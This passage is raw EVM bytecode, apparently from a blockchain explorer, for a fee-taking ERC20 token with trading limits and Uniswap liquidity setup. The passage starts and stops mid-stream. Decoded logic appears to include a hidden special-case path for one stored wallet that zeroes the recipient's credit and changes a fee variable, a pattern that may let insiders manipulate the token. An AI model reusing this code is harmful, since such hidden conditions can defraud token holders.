3b1580156130d7575f80fd5b505af11580156130e9573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161311e92919061401c565b60405180910390a15050565b61315630601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611bac565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016131dc9695949392919061380d565b60606040518083038185885af11580156131f8573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061321d9190613880565b5050505050565b5f808311829061326a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613261919061330f565b60405180910390fd5b505f83856132789190613df5565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156132bc5780820151818401526020810190506132a1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6132e182613285565b6132eb818561328f565b93506132fb81856020860161329f565b613304816132c7565b840191505092915050565b5f6020820190508181035f83015261332781846132d7565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6133588261332f565b9050919050565b6133688161334e565b82525050565b5f6020820190506133815f83018461335f565b92915050565b5f80fd5b6133948161334e565b811461339e575f80fd5b50565b5f813590506133af8161338b565b92915050565b5f819050919050565b6133c7816133b5565b81146133d1575f80fd5b50565b5f813590506133e2816133be565b92915050565b5f80604083850312156133fe576133fd613387565b5b5f61340b858286016133a1565b925050602061341c858286016133d4565b9150509250929050565b5f8115159050919050565b61343a81613426565b82525050565b5f6020820190506134535f830184613431565b92915050565b5f819050919050565b5f61347c6134776134728461332f565b613459565b61332f565b9050919050565b5f61348d82613462565b9050919050565b5f61349e82613483565b9050919050565b6134ae81613494565b82525050565b5f6020820190506134c75f8301846134a5565b92915050565b6134d6816133b5565b82525050565b5f6020820190506134ef5f8301846134cd565b92915050565b5f805f6060848603121561350c5761350b613387565b5b5f613519868287016133a1565b935050602061352a868287016133a1565b925050604061353b868287016133d4565b9150509250925092565b5f60ff82169050919050565b61355a81613545565b82525050565b5f6020820190506135735f830184613551565b92915050565b5f6020828403121561358e5761358d613387565b5b5f61359b848285016133a1565b91505092915050565b5f6135ae8261332f565b9050919050565b6135be816135a4565b82525050565b5f6020820190506135d75f8301846135b5565b92915050565b5f80604083850312156135f3576135f2613387565b5b5f613600858286016133a1565b9250506020613611858286016133a1565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061365f57607f821691505b6020821081036136725761367161361b565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6136ac60208361328f565b91506136b782613678565b602082019050919050565b5f6020820190508181035f8301526136d9816136a0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61373a60268361328f565b9150613745826136e0565b604082019050919050565b5f6020820190508181035f8301526137678161372e565b9050919050565b5f8151905061377c8161338b565b92915050565b5f6020828403121561379757613796613387565b5b5f6137a48482850161376e565b91505092915050565b5f6040820190506137c05f83018561335f565b6137cd602083018461335f565b9392505050565b5f819050919050565b5f6137f76137f26137ed846137d4565b613459565b6133b5565b9050919050565b613807816137dd565b82525050565b5f60c0820190506138205f83018961335f565b61382d60208301886134cd565b61383a60408301876137fe565b61384760608301866137fe565b613854608083018561335f565b61386160a08301846134cd565b979650505050505050565b5f8151905061387a816133be565b92915050565b5f805f6060848603121561389757613896613387565b5b5f6138a48682870161386c565b93505060206138b58682870161386c565b92505060406138c68682870161386c565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61392a60248361328f565b9150613935826138d0565b604082019050919050565b5f6020820190508181035f8301526139578161391e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6139b860228361328f565b91506139c38261395e565b604082019050919050565b5f6020820190508181035f8301526139e5816139ac565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613a4660258361328f565b9150613a51826139ec565b604082019050919050565b5f6020820190508181035f830152613a7381613a3a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613ad460238361328f565b9150613adf82613a7a565b604082019050919050565b5f6020820190508181035f830152613b0181613ac8565b9050919050565b7f54726164696e67206e6f7420656e61626c6564000000000000000000000000005f82015250565b5f613b3c60138361328f565b9150613b4782613b08565b602082019050919050565b5f6020820190508181035f830152613b6981613b30565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178545f8201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b5f613bca60288361328f565b9150613bd582613b70565b604082019050919050565b5f6020820190508181035f830152613bf781613bbe565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c695f8201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b5f613c5860258361328f565b9150613c6382613bfe565b604082019050919050565b5f6020820190508181035f830152613c8581613c4c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f613cc3826133b5565b9150613cce836133b5565b9250828203905081811115613ce657613ce5613c8c565b5b92915050565b5f613cf6826133b5565b9150613d01836133b5565b9250828201905080821115613d1957613d18613c8c565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613d53601b8361328f565b9150613d5e82613d1f565b602082019050919050565b5f6020820190508181035f830152613d8081613d47565b9050919050565b5f613d91826133b5565b9150613d9c836133b5565b9250828202613daa816133b5565b91508282048414831517613dc157613dc0613c8c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613dff826133b5565b9150613e0a836133b5565b925082613e1a57613e19613dc8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613e7f60218361328f565b9150613e8a82613e25565b604082019050919050565b5f6020820190508181035f830152613eac81613e73565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613f3f8161334e565b82525050565b5f613f508383613f36565b60208301905092915050565b5f602082019050919050565b5f613f7282613f0d565b613f7c8185613f17565b9350613f8783613f27565b805f5b83811015613fb7578151613f9e8882613f45565b9750613fa983613f5c565b925050600181019050613f8a565b5085935050505092915050565b5f60a082019050613fd75f8301886134cd565b613fe460208301876137fe565b8181036040830152613ff68186613f68565b9050614005606083018561335f565b61401260808301846134cd565b9695505050505050565b5f60408201905061402f5f8301856134cd565b81810360208301526140418184613f68565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207a5684c9009a59fc398df8ec3b09bc16861e9994918a7cc4bc5da6e1fc547fcb64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610280575f3560e01c8063852614851161014e578063c5d24189116100c0578063dd62ed3e11610079578063dd62ed3e14610993578063f0cd1dac146109cf578063f2fde38b146109f9578063f680f79914610a21578063f7f23a0c14610a4b578063f872858a14610a5557610287565b8063c5d2418914610899578063c8607952146108c3578063c867d60b146108ed578063c9567bf914610929578063da00097d1461093f578063dc44b6a01461096957610287565b806395d89b411161011257806395d89b411461077957806398e944c8146107a3578063a457c2d7146107cd578063a7251ef614610809578063a8b0898214610833578063a9059cbb1461085d57610287565b8063852614851461069557806388790a68146106bf5780638b42507f146106e95780638da5cb5b146107255780639096c74a1461074f57610287565b80633ecad271116101f25780636c0a24eb116101ab5780636c0a24eb146105af57806370a08231146105d9578063715018a614610615578063751039fc1461062b5780637d1db4a51461064157806382eefb431461066b57610287565b80633ecad2711461048f5780634a74bb02146104cb5780634ada218b146104f55780635194f9bf1461051f5780635342acb4146105495780635b6fc1c71461058557610287565b806323555d571161024457806323555d571461036f57806323b872dd1461039957806327c8f835146103d55780632b112e49146103ff578063313ce56714610429578063395093511461045357610287565b806306fdde031461028b5780630930907b146102b5578063095ea7b3146102df5780631694505e1461031b57806318160ddd1461034557610287565b3661028757005b5f80fd5b348015610296575f80fd5b5061029f610a7f565b6040516102ac919061330f565b60405180910390f35b3480156102c0575f80fd5b506102c9610b0f565b6040516102d6919061336e565b60405180910390f35b3480156102ea575f80fd5b50610305600480360381019061030091906133e8565b610b33565b6040516103129190613440565b60405180910390f35b348015610326575f80fd5b5061032f610b50565b60405161033c91906134b4565b60405180910390f35b348015610350575f80fd5b50610359610b75565b60405161036691906134dc565b60405180910390f35b34801561037a575f80fd5b50610383610b7e565b60405161039091906134dc565b60405180910390f35b3480156103a4575f80fd5b506103bf60048036038101906103ba91906134f5565b610b84565b6040516103cc9190613440565b60405180910390f35b3480156103e0575f80fd5b506103e9610c59565b6040516103f6919061336e565b60405180910390f35b34801561040a575f80fd5b50610413610c7d565b60405161042091906134dc565b60405180910390f35b348015610434575f80fd5b5061043d610cfa565b60405161044a9190613560565b60405180910390f35b34801561045e575f80fd5b50610479600480360381019061047491906133e8565b610d0f565b6040516104869190613440565b60405180910390f35b34801561049a575f80fd5b506104b560048036038101906104b09190613579565b610dbd565b6040516104c29190613440565b60405180910390f35b3480156104d6575f80fd5b506104df610dda565b6040516104ec9190613440565b60405180910390f35b348015610500575f80fd5b50610509610ded565b6040516105169190613440565b60405180910390f35b34801561052a575f80fd5b50610533610dff565b60405161054091906134dc565b60405180910390f35b348015610554575f80fd5b5061056f600480360381019061056a9190613579565b610e05565b60405161057c9190613440565b60405180910390f35b348015610590575f80fd5b50610599610e22565b6040516105a691906135c4565b60405180910390f35b3480156105ba575f80fd5b506105c3610e47565b6040516105d091906134dc565b60405180910390f35b3480156105e4575f80fd5b506105ff60048036038101906105fa9190613579565b610e4d565b60405161060c91906134dc565b60405180910390f35b348015610620575f80fd5b50610629610e93565b005b348015610636575f80fd5b5061063f610fe5565b005b34801561064c575f80fd5b5061065561108d565b60405161066291906134dc565b60405180910390f35b348015610676575f80fd5b5061067f611093565b60405161068c91906134dc565b60405180910390f35b3480156106a0575f80fd5b506106a9611099565b6040516106b69190613440565b60405180910390f35b3480156106ca575f80fd5b506106d36110ac565b6040516106e091906134dc565b60405180910390f35b3480156106f4575f80fd5b5061070f600480360381019061070a9190613579565b6110b2565b60405161071c9190613440565b60405180910390f35b348015610730575f80fd5b506107396110cf565b604051610746919061336e565b60405180910390f35b34801561075a575f80fd5b506107636110f6565b60405161077091906135c4565b60405180910390f35b348015610784575f80fd5b5061078d61111c565b60405161079a919061330f565b60405180910390f35b3480156107ae575f80fd5b506107b76111ac565b6040516107c4919061336e565b60405180910390f35b3480156107d8575f80fd5b506107f360048036038101906107ee91906133e8565b6111d1565b6040516108009190613440565b60405180910390f35b348015610814575f80fd5b5061081d611299565b60405161082a91906134dc565b60405180910390f35b34801561083e575f80fd5b5061084761129f565b604051610854919061336e565b60405180910390f35b348015610868575f80fd5b50610883600480360381019061087e91906133e8565b6112c4565b6040516108909190613440565b60405180910390f35b3480156108a4575f80fd5b506108ad6112e2565b6040516108ba91906134dc565b60405180910390f35b3480156108ce575f80fd5b506108d76112e8565b6040516108e491906134dc565b60405180910390f35b3480156108f8575f80fd5b50610913600480360381019061090e9190613579565b6112ee565b6040516109209190613440565b60405180910390f35b348015610934575f80fd5b5061093d61130b565b005b34801561094a575f80fd5b506109536113bb565b6040516109609190613440565b60405180910390f35b348015610974575f80fd5b5061097d6113ce565b60405161098a91906134dc565b60405180910390f35b34801561099e575f80fd5b506109b960048036038101906109b491906135dd565b6113d4565b6040516109c691906134dc565b60405180910390f35b3480156109da575f80fd5b506109e3611456565b6040516109f091906134dc565b60405180910390f35b348015610a04575f80fd5b50610a1f6004803603810190610a1a9190613579565b61145c565b005b348015610a2c575f80fd5b50610a35611619565b604051610a4291906134dc565b60405180910390f35b610a5361161f565b005b348015610a60575f80fd5b50610a69611b92565b604051610a769190613440565b60405180910390f35b606060018054610a8e90613648565b80601f0160208091040260200160405190810160405280929190818152602001828054610aba90613648565b8015610b055780601f10610adc57610100808354040283529160200191610b05565b820191905f5260205f20905b815481529060010190602001808311610ae857829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610b46610b3f611ba5565b8484611bac565b6001905092915050565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601654905090565b600f5481565b5f610b90848484611d6f565b50610c4e84610b9d611ba5565b610c498560405180606001604052806028815260200161404b6028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610c00611ba5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125149092919063ffffffff16565b611bac565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b5f610cf5610caa7f0000000000000000000000000000000000000000000000000000000000000000610e4d565b610ce7610cd67f000000000000000000000000000000000000000000000000000000000000dead610e4d565b60165461257690919063ffffffff16565b61257690919063ffffffff16565b905090565b5f60035f9054906101000a900460ff16905090565b5f610db3610d1b611ba5565b84610dae8560075f610d2b611ba5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125bf90919063ffffffff16565b611bac565b6001905092915050565b600a602052805f5260405f205f915054906101000a900460ff1681565b601b60159054906101000a900460ff1681565b60085f9054906101000a900460ff1681565b60125481565b6009602052805f5260405f205f915054906101000a900460ff1681565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610e9b611ba5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1e906136c2565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fed611ba5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611079576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611070906136c2565b60405180910390fd5b601654601881905550601654601981905550565b60185481565b60155481565b601b60189054906101000a900460ff1681565b60105481565b600c602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606002805461112b90613648565b80601f016020809104026020016040519081016040528092919081815260200182805461115790613648565b80156111a25780601f10611179576101008083540402835291602001916111a2565b820191905f5260205f20905b81548152906001019060200180831161118557829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61128f6111dd611ba5565b8461128a856040518060600160405280602581526020016140736025913960075f611206611ba5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125149092919063ffffffff16565b611bac565b6001905092915050565b60175481565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6112d76112d0611ba5565b8484611d6f565b506001905092915050565b600e5481565b60115481565b600b602052805f5260405f205f915054906101000a900460ff1681565b611313611ba5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461139f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611396906136c2565b60405180910390fd5b600160085f6101000a81548160ff021916908315150217905550565b601b60169054906101000a900460ff1681565b600d5481565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60145481565b611464611ba5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e7906136c2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590613750565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60135481565b611627611ba5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116aa906136c2565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611714573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117389190613782565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561179d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117c19190613782565b6040518363ffffffff1660e01b81526004016117de9291906137ad565b6020604051808303815f875af11580156117fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061181e9190613782565b601b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600a5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503360055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430611b2630610e4d565b5f8033426040518863ffffffff1660e01b8152600401611b4b9695949392919061380d565b60606040518083038185885af1158015611b67573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611b8c9190613880565b50505050565b601b60179054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1190613940565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7f906139ce565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d6291906134dc565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611dde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd590613a5c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4390613aea565b60405180910390fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611eea575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611f3e5760085f9054906101000a900460ff16611f3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3490613b52565b60405180910390fd5b5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611fd9575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561200657611fff848484611fee888861261c565b611ff85785611ffa565b5f5b61273d565b905061250d565b600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156120a45750600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156120bc5750601b60189054906101000a900460ff165b1561210757601854821115612106576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fd90613be0565b60405180910390fd5b5b5f61211130610e4d565b90505f60175482101590508080156121365750601b60149054906101000a900460ff16155b80156121895750600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156121a15750601b60159054906101000a900460ff165b156121cb57601b60169054906101000a900460ff16156121c15760175491505b6121ca82612919565b5b612252846040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125149092919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061232f575060095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6123435761233e878787612be1565b612345565b845b9050601b60179054906101000a900460ff1680156123aa5750600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561240f576019546123cd826123bf89610e4d565b6125bf90919063ffffffff16565b111561240e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240590613c6e565b60405180910390fd5b5b61245f8160065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125bf90919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124fd91906134dc565b60405180910390a3600193505050505b9392505050565b5f83831115829061255b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612552919061330f565b60405180910390fd5b505f83856125699190613cb9565b9050809150509392505050565b5f6125b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612514565b905092915050565b5f8082846125cd9190613cec565b905083811015612612576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260990613d69565b60405180910390fd5b8091505092915050565b5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156126c5575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156126fd57505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561273557505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b5f6127c5826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125149092919063ffffffff16565b60065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128568360065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125bf90919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f82036128a8576103e86013819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161290591906134dc565b60405180910390a360019050949350505050565b6001601b60146101000a81548160ff0219169083151502179055505f61294c6015546014546125bf90919063ffffffff16565b90505f612966601054600d546125bf90919063ffffffff16565b90505f612980601154600e546125bf90919063ffffffff16565b90505f6129bb60026129ad8661299f878a612dfb90919063ffffffff16565b612e7290919063ffffffff16565b612e7290919063ffffffff16565b90505f6129d1828761257690919063ffffffff16565b90505f4790506129e082612ebb565b5f6129f4824761257690919063ffffffff16565b90505f612a1d612a0e600289612e7290919063ffffffff16565b8961257690919063ffffffff16565b90505f612a586002612a4a84612a3c8c88612dfb90919063ffffffff16565b612e7290919063ffffffff16565b612e7290919063ffffffff16565b90505f612a9483612a86612a776013548c612dfb90919063ffffffff16565b87612dfb90919063ffffffff16565b612e7290919063ffffffff16565b90505f612abc82612aae858861257690919063ffffffff16565b61257690919063ffffffff16565b90505f821115612b2d57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8390811502906040515f60405180830381858888f19350505050158015612b2b573d5f803e3d5ffd5b505b5f811115612b9b5760045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612b99573d5f803e3d5ffd5b505b5f83118015612ba957505f88115b15612bb957612bb8888461312a565b5b50505050505050505050505f601b60146101000a81548160ff02191690831515021790555050565b5f805f9050600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612c6457612c5d6064612c4f60145486612dfb90919063ffffffff16565b612e7290919063ffffffff16565b9050612cdf565b600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612cde57612cdb6064612ccd60155486612dfb90919063ffffffff16565b612e7290919063ffffffff16565b90505b5b5f811115612dde57612d378160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125bf90919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612dd591906134dc565b60405180910390a35b612df1818461257690919063ffffffff16565b9150509392505050565b5f808303612e0b575f9050612e6c565b5f8284612e189190613d87565b9050828482612e279190613df5565b14612e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5e90613e95565b60405180910390fd5b809150505b92915050565b5